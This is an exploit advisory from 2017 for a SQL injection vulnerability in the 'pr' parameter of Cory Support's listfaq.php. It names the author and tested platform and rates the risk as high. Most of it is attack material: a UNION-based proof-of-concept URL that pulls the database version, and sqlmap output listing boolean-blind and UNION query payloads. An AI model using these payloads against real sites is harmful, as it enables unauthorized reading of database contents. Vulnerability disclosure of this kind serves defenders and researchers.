Cory Support SQL Injection

`# Exploit : Cory Support (pr) SQL Injection Vulnerability  
# Author : v3n0m  
# Contact : v3n0m[at]outlook[dot]com  
# Date : September, 06-2017 GMT +7:00 Jakarta, Indonesia  
# Developer : Cory App  
# Software : Cory Support  
# App Link : http://coryapp.com/?product&index  
# Demo : http://coryapp.com/demo/support/  
# Tested On : Mac OS Sierra v10.12.6  
# Credits : YOGYACARDERLINK, Dhea Dayanaya Fathin Karima, Don't Touch Me (Line Group) & Muhammad Panji, Alfath Dirk, Cafe BMW & YOU !!  
  
1. Description  
  
An attacker can exploit this vulnerability to read from the database.  
The parameter 'pr' is vulnerable.  
  
  
2. Proof of Concept  
  
http://domain.tld/[path]/listfaq.php?pr=9999+and+1=2+union+all+select+null,version()--  
  
# Exploitation via SQLMap  
  
Parameter: pr (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: pr=1 AND 4809=4809  
Vector: AND [INFERENCE]  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 2 columns  
Payload: pr=1 UNION ALL SELECT NULL,CONCAT(0x7170706271,0x564f724b4475754c4c7a48714c59464c6c43704a636c6f72444471767a79716a6b6d4d6a72654b76,0x7170626b71)-- RNyi  
Vector: UNION ALL SELECT NULL,[QUERY][GENERIC_SQL_COMMENT]  
  
  
3. Security Risk  
  
The security risk of the remote sql-injection web vulnerability in the Cory Support is estimated as high.  
  
  
`